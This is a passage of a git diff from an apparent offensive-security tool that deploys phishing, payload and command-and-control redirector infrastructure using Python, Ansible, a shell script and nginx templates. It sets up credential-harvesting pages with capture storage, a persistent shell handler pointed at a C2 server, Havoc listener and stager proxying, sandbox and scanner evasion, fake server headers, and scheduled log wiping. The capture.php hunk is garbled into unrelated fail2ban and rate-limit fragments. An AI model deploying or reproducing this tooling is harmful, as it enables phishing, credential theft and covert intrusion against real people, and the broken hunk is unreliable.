print(f"\n{COLORS['GREEN']}Deploying DNS redirector...{COLORS['RESET']}") + execute_redirector_deployment(config) + +def deploy_smtp_redirector(): + """Deploy SMTP redirector""" + config = gather_redirector_parameters() + if not config: + return + + config['redirector_type'] = 'smtp' + config['deployment_type'] = 'smtp_redirector' + + print(f"\n{COLORS['GREEN']}Deploying SMTP redirector...{COLORS['RESET']}") + execute_redirector_deployment(config) + +def deploy_payload_redirector(): + """Deploy payload redirector""" + config = gather_redirector_parameters() + if not config: + return + + config['backend_type'] = 'payload' + config['deployment_type'] = 'payload_redirector' + + print(f"\n{COLORS['GREEN']}Deploying payload redirector...{COLORS['RESET']}") + execute_redirector_deployment(config) + +def deploy_phishing_redirector(): + """Deploy phishing redirector""" + config = gather_redirector_parameters() + if not config: + return + + config['backend_type'] = 'phishing' + config['deployment_type'] = 'phishing_redirector' + + print(f"\n{COLORS['GREEN']}Deploying phishing redirector...{COLORS['RESET']}") + execute_redirector_deployment(config) + +def deploy_c2_redirector(): + """Deploy C2 redirector""" + config = gather_redirector_parameters() + if not config: + return + + config['backend_type'] = 'c2' + config['deployment_type'] = 'c2_redirector' + + print(f"\n{COLORS['GREEN']}Deploying C2 redirector...{COLORS['RESET']}") + execute_redirector_deployment(config) + +def execute_redirector_deployment(config): + """Execute redirector infrastructure deployment""" + clear_screen() + print_banner() + print(f"\n{COLORS['GREEN']}Starting redirector deployment...{COLORS['RESET']}") + + # Display configuration summary + print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}") + print(f"Deployment Type: {config['deployment_type']}") + print(f"Deployment ID: {config['deployment_id']}") + print(f"Provider: {config['provider']}") + print(f"Domain: {config['domain']}") + print(f"Redirector Type: {config['redirector_type']}") + print(f"Backend Type: {config.get('backend_type', 'N/A')}") + + # Confirm deployment + if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with redirector deployment?{COLORS['RESET']}", default=False): + print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}") + return + + # Set deployment flags for redirector-only deployment + config['redirector_only'] = True + config['c2_only'] = False + + # Execute the actual deployment using the deployment engine + from utils.deployment_engine import deploy_infrastructure + success = deploy_infrastructure(config) + + if success: + print(f"\n{COLORS['GREEN']}Redirector infrastructure deployed successfully!{COLORS['RESET']}") + + if config.get('ssh_after_deploy'): + from utils.ssh_utils import ssh_to_instance + ssh_to_instance(config) + else: + print(f"\n{COLORS['RED']}Redirector infrastructure deployment failed.{COLORS['RESET']}") + + wait_for_input() + +if __name__ == "__main__": + redirector_menu() diff --git a/modules/redirectors/files/post_install_redirector.sh b/modules/redirectors/files/post_install_redirector.sh new file mode 100644 index 0000000..3925f35 --- /dev/null +++ b/modules/redirectors/files/post_install_redirector.sh @@ -0,0 +1,158 @@ +#!/bin/bash +# post_install_redirector.sh - Post-installation setup for redirector + +# ANSI color codes +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +RED='\033[0;31m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +echo -e "${BLUE}==================================================${NC}" +echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}" +echo -e "${BLUE}==================================================${NC}" + +# Function to check if domain resolves to current IP +check_dns() { + domain=$1 + current_ip=$(curl -s ifconfig.me) + resolved_ip=$(dig +short $domain) + + if [ "$resolved_ip" = "$current_ip" ]; then + echo -e "${GREEN}DNS check passed for $domain!${NC}" + return 0 + else + echo -e "${YELLOW}DNS check failed for $domain${NC}" + echo -e "Current IP: $current_ip" + echo -e "Resolved IP: $resolved_ip or not set" + return 1 + fi +} + +# Function to set up Let's Encrypt +setup_letsencrypt() { + domain=$1 + email=$2 + + echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}" + + # Check if certificate already exists + if [ -d "/etc/letsencrypt/live/$domain" ]; then + echo -e "${YELLOW}Certificate already exists for $domain${NC}" + read -p "Do you want to renew it? (y/n): " renew + if [ "$renew" != "y" ]; then + echo -e "${YELLOW}Skipping certificate renewal${NC}" + return 0 + fi + fi + + # Stop nginx if running to free up port 80 + systemctl stop nginx 2>/dev/null + + # Get certificate + certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive + + if [ $? -eq 0 ]; then + echo -e "${GREEN}Successfully obtained certificate for $domain${NC}" + return 0 + else + echo -e "${RED}Failed to obtain certificate for $domain${NC}" + return 1 + fi +} + +# Function to update NGINX configuration +update_nginx_config() { + domain=$1 + + # Check if NGINX config exists and contains the domain + if [ -f "/etc/nginx/sites-available/default" ]; then + if grep -q "$domain" "/etc/nginx/sites-available/default"; then + echo -e "\n${BLUE}Updating NGINX configuration to use SSL certificate${NC}" + + # Update SSL certificate paths + sed -i "s|ssl_certificate .*|ssl_certificate /etc/letsencrypt/live/$domain/fullchain.pem;|" /etc/nginx/sites-available/default + sed -i "s|ssl_certificate_key .*|ssl_certificate_key /etc/letsencrypt/live/$domain/privkey.pem;|" /etc/nginx/sites-available/default + + echo -e "${GREEN}NGINX configuration updated${NC}" + else + echo -e "${YELLOW}Domain $domain not found in NGINX configuration${NC}" + fi + else + echo -e "${RED}NGINX configuration file not found${NC}" + fi +} + +# Function to start services +start_services() { + echo -e "\n${BLUE}Starting required services${NC}" + + # Start nginx + systemctl start nginx + if [ $? -eq 0 ]; then + echo -e "${GREEN}NGINX started successfully${NC}" + systemctl enable nginx + else + echo -e "${RED}Failed to start NGINX${NC}" + fi + + # Start shell handler + systemctl start shell-handler + if [ $? -eq 0 ]; then + echo -e "${GREEN}Shell handler started successfully${NC}" + systemctl enable shell-handler + else + echo -e "${RED}Failed to start shell handler${NC}" + fi +} + +# Function to display port information +show_port_info() { + # Display shell handler port + if [ -f "/etc/systemd/system/shell-handler.service" ]; then + SHELL_PORT=$(grep "LISTEN_PORT=" /root/Tools/shell-handler/persistent-listener.sh | cut -d'=' -f2) + echo -e "\n${BLUE}Shell Handler Port Information:${NC}" + echo -e "Shell Handler is using port: ${GREEN}$SHELL_PORT${NC}" + fi + + # Display nginx listening ports + echo -e "\n${BLUE}NGINX Listening Ports:${NC}" + netstat -tulnp | grep nginx +} + +# Main execution +echo -e "\n${BLUE}Beginning redirector setup process...${NC}" + +# Get domain information +read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain +read -p "Enter email for Let's Encrypt: " email + +# Check if DNS is properly configured +echo -e "\n${BLUE}Checking DNS configuration...${NC}" +check_dns $redirector_domain + +# Confirm proceeding even if DNS check fails +if [ $? -ne 0 ]; then + echo -e "${YELLOW}DNS check failed but we can proceed anyway.${NC}" + echo -e "${YELLOW}Make sure to set up DNS records before trying to obtain certificates.${NC}" + read -p "Do you want to proceed anyway? (y/n): " proceed + if [ "$proceed" != "y" ]; then + echo -e "${RED}Setup aborted.${NC}" + exit 1 + fi +fi + +# Set up Let's Encrypt +setup_letsencrypt $redirector_domain $email + +# Update NGINX configuration +update_nginx_config $redirector_domain + +# Start services +start_services + +# Show port information +show_port_info + +echo -e "\n${GREEN}Redirector setup complete!${NC}" +echo -e "${YELLOW}Make sure DNS records are properly configured for continued operation.${NC}" \ No newline at end of file diff --git a/modules/redirectors/tasks/configure_redirector.yml b/modules/redirectors/tasks/configure_redirector.yml new file mode 100644 index 0000000..9445459 --- /dev/null +++ b/modules/redirectors/tasks/configure_redirector.yml @@ -0,0 +1,468 @@ +--- +# Common task for configuring redirector with full encryption +# Shared across all providers + +- name: Set a custom MOTD + template: + src: "../templates/motd-redirector.j2" + dest: /etc/motd + owner: root + group: root + mode: '0644' + +- name: Update package cache with retries + apt: + update_cache: yes + cache_valid_time: 0 + register: cache_update + until: cache_update is success + retries: 5 + delay: 10 + ignore_errors: false + +- name: Install core packages first (high priority) + apt: + name: + - nginx + - nginx-extras + - socat + - jq + - secure-delete + state: present + update_cache: no + register: core_packages + until: core_packages is success + retries: 3 + delay: 5 + +- name: Install network utilities with fallbacks + block: + - name: Try to install net-tools + apt: + name: net-tools + state: present + update_cache: no + register: net_tools_install + + rescue: + - name: Install alternative network utilities + apt: + name: + - iproute2 + - iputils-ping + - netcat-openbsd + state: present + update_cache: no + register: alt_network_tools + + - name: Create net-tools compatibility aliases + copy: + dest: /usr/local/bin/netstat + content: | + #!/bin/bash + # Compatibility wrapper for netstat using ss + ss "$@" + mode: '0755' + when: alt_network_tools is success + +- name: Install PHP-FPM with version handling + block: + - name: Install PHP-FPM (latest available) + apt: + name: php-fpm + state: present + update_cache: no + register: php_install + + rescue: + - name: Install specific PHP version as fallback + apt: + name: + - php7.4-fpm + - php7.4-cli + state: present + update_cache: no + register: php_fallback + +- name: Install certbot with dependency handling + block: + - name: Install certbot and nginx plugin + apt: + name: + - certbot + - python3-certbot-nginx + state: present + update_cache: no + register: certbot_install + + rescue: + - name: Install certbot without problematic dependencies + shell: | + apt-get install -y --no-install-recommends certbot + apt-get install -y --fix-broken || true + register: certbot_manual + ignore_errors: true + + - name: Install certbot via snap as ultimate fallback + block: + - name: Install snap if not present + apt: + name: snapd + state: present + + - name: Install certbot via snap + snap: + name: certbot + classic: yes + + - name: Create certbot symlink + file: + src: /snap/bin/certbot + dest: /usr/bin/certbot + state: link + when: certbot_manual is failed + +- name: Handle problematic Python dependencies + block: + - name: Try installing Python dependencies normally + apt: + name: + - python3-requests-toolbelt + - python3-zope.hookable + state: present + update_cache: no + register: python_deps + + rescue: + - name: Install Python dependencies via pip as fallback + pip: + name: + - requests-toolbelt + - zope.hookable + state: present + register: pip_install + ignore_errors: true + + - name: Download and install packages manually if repositories are down + shell: | + cd /tmp + # Try alternative repositories + wget -q http://archive.ubuntu.com/ubuntu/pool/universe/p/python-requests-toolbelt/python3-requests-toolbelt_0.8.0-1.1_all.deb || \ + wget -q http://launchpad.net/ubuntu/+archive/primary/+files/python3-requests-toolbelt_0.8.0-1.1_all.deb || true + + if [ -f python3-requests-toolbelt_*.deb ]; then + dpkg -i python3-requests-toolbelt_*.deb || apt-get install -f -y + fi + when: pip_install is failed + ignore_errors: true + +- name: Verify critical packages are installed + command: "{{ item.cmd }}" + register: package_verify + failed_when: package_verify.rc != 0 + loop: + - { cmd: "nginx -v", name: "nginx" } + - { cmd: "socat -V", name: "socat" } + - { cmd: "jq --version", name: "jq" } + - { cmd: "which certbot", name: "certbot" } + ignore_errors: true + +- name: Create package installation report + debug: + msg: | + C2ingRed Package Installation Status: + =================================== + Core Packages: {{ 'SUCCESS' if core_packages is success else 'FAILED' }} + Network Tools: {{ 'SUCCESS' if net_tools_install is success else 'FALLBACK USED' }} + PHP-FPM: {{ 'SUCCESS' if php_install is success else 'FALLBACK USED' if php_fallback is success else 'FAILED' }} + Certbot: {{ 'SUCCESS' if certbot_install is success else 'FALLBACK USED' }} + Python Deps: {{ 'SUCCESS' if python_deps is success else 'FALLBACK ATTEMPTED' }} + + Critical Services Verified: + {% for item in package_verify.results %} + - {{ item.item.name }}: {{ 'OK' if item.rc == 0 else 'MISSING' }} + {% endfor %} + +- name: Force fix broken packages if any installation failed + shell: | + apt-get update --fix-missing + apt-get install -f -y + dpkg --configure -a + when: core_packages is failed or certbot_install is failed + register: fix_broken + ignore_errors: true + +- name: Final package status check and remediation + block: + - name: Check for any remaining broken packages + shell: apt-get check + register: apt_check + failed_when: false + + - name: List installed packages for verification + shell: | + echo "=== INSTALLED PACKAGES ===" + dpkg -l | grep -E "(nginx|certbot|socat|jq|php)" || echo "Some packages missing" + echo "=== BROKEN PACKAGES ===" + apt-get check 2>&1 | grep -i "broken\|error" || echo "No broken packages detected" + register: final_status + + - name: Display final installation status + debug: + var: final_status.stdout_lines + +- name: Detect installed PHP-FPM service + shell: | + # Try to find any PHP-FPM service + if systemctl list-units --type=service --all | grep -q 'php.*fpm'; then + systemctl list-units --type=service --all | grep 'php.*fpm' | head -1 | awk '{print $1}' | sed 's/\.service//' + else + echo "php-fpm" + fi + register: php_fpm_service + failed_when: false + +- name: Ensure critical services are enabled + systemd: + name: "{{ item }}" + enabled: yes + state: started + loop: + - nginx + - "{{ php_fpm_service.stdout }}" + ignore_errors: true + register: service_start + +- name: Create operational readiness marker + copy: + dest: /tmp/c2ingred_packages_ready + content: | + C2ingRed Package Installation Complete + Timestamp: {{ ansible_date_time.iso8601 }} + Status: {{ 'READY' if core_packages is success else 'PARTIAL' }} + mode: '0644' + +- name: Create directories for operational scripts + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /root/Tools + - /root/Tools/shell-handler + +- name: Copy clean-logs.sh script + copy: + src: "../../../common/files/clean-logs.sh" + dest: /root/Tools/clean-logs.sh + mode: '0700' + owner: root + group: root + +- name: Copy redirector post-install script + copy: + src: "../../../common/files/post_install_redirector.sh" + dest: "/root/Tools/post_install_redirector.sh" + mode: '0700' + owner: root + group: root + +- name: Copy port randomization script + copy: + src: "../../../common/files/randomize_ports.sh" + dest: "/root/Tools/randomize_ports.sh" + mode: '0700' + owner: root + group: root + +- name: Create redirector post-install instructions + copy: + content: | + ================================================================ + C2ingRed Redirector Post-Installation Instructions + ================================================================ + + To complete your setup with SSL certificates, run: + /root/Tools/post_install_redirector.sh + + This script will guide you through: + - Setting up Let's Encrypt certificates + - Starting required services + - Updating NGINX configuration + + For enhanced OPSEC, you can also randomize ports: + /root/Tools/randomize_ports.sh + + Run these after you've configured your DNS records to point to this server. + dest: "/root/POST_INSTALL_INSTRUCTIONS.txt" + mode: '0644' + owner: root + group: root + +- name: Copy shell handler script + copy: + src: "../../c2/files/havoc_shell_handler.sh" + dest: /root/Tools/shell-handler/persistent-listener.sh + mode: '0700' + owner: root + group: root + +- name: Configure shell handler script with C2 IP + replace: + path: /root/Tools/shell-handler/persistent-listener.sh + regexp: 'C2_HOST="127.0.0.1"' + replace: 'C2_HOST="{{ c2_ip }}"' + +- name: Configure shell handler script with listening port + template: + src: "../../c2/files/havoc_shell_handler.sh" + dest: "/root/Tools/shell_handler.sh" + mode: 0755 + vars: + listen_port: "{{ shell_handler_port | default(8083) }}" + +- name: Create shell handler service + template: + src: "../templates/shell-handler.service.j2" + dest: /etc/systemd/system/shell-handler.service + mode: '0644' + owner: root + group: root + +- name: Configure NGINX for zero-logging if enabled + template: + src: "../templates/nginx.conf.j2" + dest: /etc/nginx/nginx.conf + mode: '0644' + owner: root + group: root + when: zero_logs | default(false) | bool + +- name: Create payload directory + file: + path: /var/www/resources + state: directory + mode: '0755' + owner: www-data + group: www-data + +- name: Include traffic flow configuration + include_tasks: "../../common/tasks/traffic_flow_config.yml" + +# Run port randomization if enabled +- name: Run port randomization if enabled + include_tasks: "../../common/tasks/port_randomization.yml" + when: randomize_ports | default(true) | bool + +# Add just before configuring NGINX +- name: Check if snakeoil certificates exist + stat: + path: /etc/ssl/certs/ssl-cert-snakeoil.pem + register: snakeoil_cert + +- name: Generate self-signed certificates if snakeoil not available + block: + - name: Create directory for self-signed certificates + file: + path: /etc/nginx/conf.d + state: directory + mode: '0755' + + - name: Generate self-signed certificate + shell: | + openssl req -x509 -nodes -days 3650 -newkey rsa:2048 \ + -keyout /etc/nginx/conf.d/selfsigned.key \ + -out /etc/nginx/conf.d/selfsigned.crt \ + -subj "/C=US/ST=State/L=City/O=Organization/CN=localhost" + args: + creates: /etc/nginx/conf.d/selfsigned.crt + when: not snakeoil_cert.stat.exists + +# Configure nginx for dual HTTP/HTTPS with complete encryption +- name: Configure NGINX for secure C2 redirection + template: + src: "../templates/redirector-site.conf.j2" + dest: /etc/nginx/sites-available/default + mode: '0644' + owner: root + group: root + +- name: Create legitimate-looking index.html + template: + src: "../templates/redirector-index.html.j2" + dest: /var/www/html/index.html + mode: '0644' + owner: www-data + group: www-data + +- name: Create SSL certificate setup instructions + template: + src: "../templates/setup-cert.sh.j2" + dest: /root/Tools/setup-cert.sh + mode: '0700' + owner: root + group: root + +- name: Configure NGINX stream module for TCP traffic + template: + src: "../templates/stream.conf.j2" + dest: /etc/nginx/modules-enabled/stream.conf + mode: '0644' + owner: root + group: root + +- name: Create credential harvesting directory + file: + path: /var/www/login + state: directory + mode: '0755' + owner: www-data + group: www-data + +# Create secure storage outside web root +- name: Create secure credential storage + file: + path: /var/private/creds + state: directory + mode: '0700' # Only owner access + owner: www-data + group: www-data + +- name: Deploy credential harvesting page + template: + src: "../templates/fake-login.html.j2" + dest: "/var/www/login/auth.html" + mode: '0644' + owner: www-data + group: www-data + +- name: Deploy credential capture script + template: + src: "../templates/capture.php.j2" + dest: "/var/www/login/process.php" + mode: '0644' + owner: www-data + group: www-data + +- name: Install PHP for credential processing + apt: + name: php-fpm + state: present + update_cache: yes + +- name: Start and enable shell handler service + systemd: + name: shell-handler + state: started + enabled: yes + daemon_reload: yes + +- name: Set up cron job for log cleaning if zero-logs enabled + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/root/Tools/clean-logs.sh > /dev/null 2>&1" + when: zero_logs | default(false) | bool \ No newline at end of file diff --git a/modules/redirectors/templates/capture.php.j2 b/modules/redirectors/templates/capture.php.j2 new file mode 100644 index 0000000..d4f5953 --- /dev/null +++ b/modules/redirectors/templates/capture.php.j2 @@ -0,0 +1,9 @@ +.*"(GET|POST).*(nmap|nikto|sqlmap|burp|w3af|nessus|openvas).*" + ^.*".*User-Agent.*(scanner|bot|crawl|security|test).*" + ^.*"(GET|POST).*\.(php|asp|jsp)\?.*" + ignoreregex = + +- name: Start and enable fail2ban + systemd: + name: fail2ban + state: started + enabled: yes + +- name: Create traffic monitoring script + template: + src: "../templates/phishing/traffic-monitor.sh.j2" + dest: /root/Tools/traffic-monitor.sh + mode: '0755' + +- name: Set up traffic monitoring cron + cron: + name: "Monitor phishing traffic" + minute: "*/5" + job: "/root/Tools/traffic-monitor.sh >> /var/log/phishing-traffic.log 2>&1" + +- name: Configure rate limiting for suspicious patterns + blockinfile: + path: /etc/nginx/nginx.conf + insertbefore: "http {" + block: | + # Rate limiting zones + limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s; + limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s; + + # GeoIP configuration + geoip_country /usr/share/GeoIP/GeoIP.dat; + map $geoip_country_code $allowed_country { + default 1; + CN 0; + RU 0; + KP 0; + } + +handlers: + - name: restart nginx + service: + name: nginx + state: restarted \ No newline at end of file diff --git a/modules/redirectors/templates/fake-login.html.j2 b/modules/redirectors/templates/fake-login.html.j2 new file mode 100644 index 0000000..f65d33e --- /dev/null +++ b/modules/redirectors/templates/fake-login.html.j2 @@ -0,0 +1,9 @@ +{# OMITTED โ€” phishing login page template #} +{# + Jinja2 template for a cloned login page. Target organization branding, + logo, and color scheme are substituted at deploy time. Form POSTs to + capture.php on the same server. Includes viewport/mobile meta tags for + mobile phishing scenarios. + + Omitted from public release. Present in operational deployments. +#} diff --git a/modules/redirectors/templates/motd-redirector.j2 b/modules/redirectors/templates/motd-redirector.j2 new file mode 100644 index 0000000..4200c9e --- /dev/null +++ b/modules/redirectors/templates/motd-redirector.j2 @@ -0,0 +1,23 @@ +================================================================ +C2itall Redirector Post-Installation Instructions +================================================================ + +To complete your setup with SSL certificates, run: + /root/Tools/post_install_redirector.sh + +This script will guide you through: +- Setting up Let's Encrypt certificates +- Starting required services +- Updating NGINX configuration + +For enhanced OPSEC, you can also randomize ports: + /root/Tools/randomize_ports.sh + +Run these after you've configured your DNS records to point to this server. + +================================================================ +Deployment ID: {{ deployment_id | default('N/A') }} +Domain: {{ domain | default('N/A') }} +Infrastructure Type: Redirector +Provider: {{ provider | default('N/A') }} +================================================================ diff --git a/modules/redirectors/templates/nginx-payload-redirector.j2 b/modules/redirectors/templates/nginx-payload-redirector.j2 new file mode 100644 index 0000000..6b9e7b3 --- /dev/null +++ b/modules/redirectors/templates/nginx-payload-redirector.j2 @@ -0,0 +1,82 @@ +# Payload Redirector Configuration +# Serves payloads with anti-analysis features + +server { + listen 80; + listen [::]:80; + server_name {{ payload_subdomain }}.{{ domain }}; + + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl http2; + listen [::]:443 ssl http2; + server_name {{ payload_subdomain }}.{{ domain }}; + + # SSL Configuration + ssl_certificate /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/privkey.pem; + ssl_protocols TLSv1.2 TLSv1.3; + + root /var/www/payloads; + + # Anti-analysis headers + add_header X-Content-Type-Options "nosniff" always; + add_header X-Download-Options "noopen" always; + add_header X-Robots-Tag "noindex, nofollow" always; + + # Serve different content based on user agent + location ~ ^/download/(.+)$ { + # Check if request is from analysis environment + if ($http_user_agent ~* (sandbox|virus|malware|analysis)) { + # Serve benign file + rewrite ^/download/(.+)$ /benign/document.pdf last; + } + + # Check for valid download token + secure_link $arg_token,$arg_expires; + secure_link_md5 "$secure_link_expires$uri {{ payload_secret }}"; + + if ($secure_link = "") { + return 403; + } + + if ($secure_link = "0") { + return 410; + } + + # Serve actual payload + try_files /payloads/$1 =404; + } + + # Direct file access with referrer check + location /files/ { + valid_referers none blocked server_names + *.{{ domain }} + {{ allowed_referrers | default([]) | join(' ') }}; + + if ($invalid_referer) { + return 403; + } + + alias /var/www/payloads/; + autoindex off; + } + + # Benign files for analysis environments + location /benign/ { + alias /var/www/payloads/benign/; + autoindex off; + } + + # Block all other access + location / { + return 404; + } + + {% if zero_logs | default(true) %} + access_log off; + error_log /dev/null crit; + {% endif %} +} \ No newline at end of file diff --git a/modules/redirectors/templates/nginx-phishing-redirector.j2 b/modules/redirectors/templates/nginx-phishing-redirector.j2 new file mode 100644 index 0000000..a593cbe --- /dev/null +++ b/modules/redirectors/templates/nginx-phishing-redirector.j2 @@ -0,0 +1,104 @@ +# Phishing Redirector Configuration +# Advanced evasion and filtering + +# Security tool detection +map $http_user_agent $is_security_scanner { + default 0; + ~*(bot|crawl|spider|scraper|monitor|virustotal|urlvoid|hybrid-analysis|joesandbox|scanurl|urlscan|phishtank) 1; +} + +# Geo-filtering map +map $geoip_country_code $allowed_country { + default 1; + {% for country in blocked_countries | default([]) %} + {{ country }} 0; + {% endfor %} +} + +server { + listen 80; + listen [::]:80; + server_name {{ phishing_subdomain }}.{{ domain }}; + + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl http2; + listen [::]:443 ssl http2; + server_name {{ phishing_subdomain }}.{{ domain }}; + + # SSL Configuration + ssl_certificate /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/privkey.pem; + ssl_protocols TLSv1.2 TLSv1.3; + ssl_ciphers HIGH:!aNULL:!MD5; + ssl_prefer_server_ciphers on; + + # Security headers to appear legitimate + add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "no-referrer-when-downgrade" always; + + # Block security scanners + if ($is_security_scanner) { + return 302 https://www.{{ legitimate_redirect | default('microsoft.com') }}; + } + + # Geo-blocking + if ($allowed_country = 0) { + return 403; + } + + # Rate limiting + limit_req_zone $binary_remote_addr zone=phishing:10m rate=10r/s; + limit_req zone=phishing burst=20 nodelay; + + # GoPhish tracking and landing pages + location ~ ^/{{ gophish_rid_param | default('rid') }}/(.+) { + proxy_pass http://{{ gophish_server_ip }}:{{ gophish_phish_port | default(8081) }}; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + # Phishing landing pages + location / { + proxy_pass http://{{ phishing_web_ip }}:80; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + # Block direct access to sensitive paths + location ~ /\.(git|env|htaccess|htpasswd) { + deny all; + return 404; + } + + {% if zero_logs | default(true) %} + # Zero-logs configuration + access_log off; + error_log /dev/null crit; + {% endif %} +} + +# Catch-all server block +server { + listen 80 default_server; + listen [::]:80 default_server; + listen 443 ssl default_server; + listen [::]:443 ssl default_server; + + ssl_certificate /etc/nginx/conf.d/selfsigned.crt; + ssl_certificate_key /etc/nginx/conf.d/selfsigned.key; + + return 302 https://www.{{ legitimate_redirect | default('google.com') }}; + + access_log off; + error_log /dev/null crit; +} \ No newline at end of file diff --git a/modules/redirectors/templates/nginx.conf.j2 b/modules/redirectors/templates/nginx.conf.j2 new file mode 100644 index 0000000..bf16f8f --- /dev/null +++ b/modules/redirectors/templates/nginx.conf.j2 @@ -0,0 +1,58 @@ +user www-data; +worker_processes auto; +pid /run/nginx.pid; +include /etc/nginx/modules-enabled/*.conf; + +events { + worker_connections 1024; + multi_accept on; +} + +http { + # Basic Settings + sendfile on; + tcp_nopush on; + tcp_nodelay on; + keepalive_timeout 65; + types_hash_max_size 2048; + server_tokens off; + + # MIME + include /etc/nginx/mime.types; + default_type application/octet-stream; + + # Zero-logs configuration + # This completely disables all access logs + access_log off; + # Minimal error logs - critical only + error_log /dev/null crit; + + # SSL Settings + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256'; + ssl_session_timeout 1d; + ssl_session_cache shared:SSL:10m; + ssl_session_tickets off; + + # Headers to confuse fingerprinting + # Microsoft-IIS/8.5 server header to throw off analysis + add_header Server "Microsoft-IIS/8.5"; + server_name_in_redirect off; + + # OPSEC: Hide proxy headers + proxy_hide_header X-Powered-By; + proxy_hide_header X-AspNet-Version; + proxy_hide_header X-Runtime; + + # IP Rotation and proxying + real_ip_header X-Forwarded-For; + set_real_ip_from 127.0.0.1; + + # Gzip Settings + gzip off; # Disabled to avoid BREACH attack + + # Virtual Host Configs + include /etc/nginx/conf.d/*.conf; + include /etc/nginx/sites-enabled/*; +} diff --git a/modules/redirectors/templates/redirector-havoc-fragment.j2 b/modules/redirectors/templates/redirector-havoc-fragment.j2 new file mode 100644 index 0000000..ffc8c6a --- /dev/null +++ b/modules/redirectors/templates/redirector-havoc-fragment.j2 @@ -0,0 +1,105 @@ +server { + listen 80; + listen [::]:80; + server_name {{ redirector_domain }}; + + # Redirect to HTTPS + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name {{ redirector_domain }}; + + # SSL Configuration + ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem; + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305'; + ssl_session_timeout 1d; + ssl_session_cache shared:SSL:10m; + + # Root directory + root /var/www/html; + index index.html; + + # Primary location for legitimate website traffic + location / { + try_files $uri $uri/ =404; + } + + # Havoc C2 HTTP listener paths + location ~ ^/api/v[12]/ { + proxy_pass http://{{ c2_ip }}:8080; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } + + # Havoc C2 HTTPS listener paths + location ~ ^/(dashboard|content)/ { + proxy_pass https://{{ c2_ip }}:9443; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_ssl_verify off; + } + + # Payload stager paths + location ~ ^/(windows|linux)_stager\.(ps1|sh)$ { + proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Payload content paths + location ~ ^/content/(windows|linux)/(.+)$ { + proxy_pass http://{{ c2_ip }}:8443/content/$1/$2; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Security headers + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "no-referrer" always; + add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; + + # Disable logging for this server block if zero-logs is enabled + {% if zero_logs | default(true) | bool %} + access_log off; + error_log /dev/null crit; + {% endif %} +} + +# Catch-all server block to respond to unknown hosts +server { + listen 80 default_server; + listen [::]:80 default_server; + listen 443 ssl default_server; + listen [::]:443 ssl default_server; + + # Self-signed cert for catch-all + ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; + ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; + + # Redirect all unknown traffic to a legitimate-looking site + return 301 https://www.google.com; + + # Disable logs + access_log off; + error_log /dev/null crit; +} \ No newline at end of file diff --git a/modules/redirectors/templates/redirector-index.html.j2 b/modules/redirectors/templates/redirector-index.html.j2 new file mode 100644 index 0000000..9176dba --- 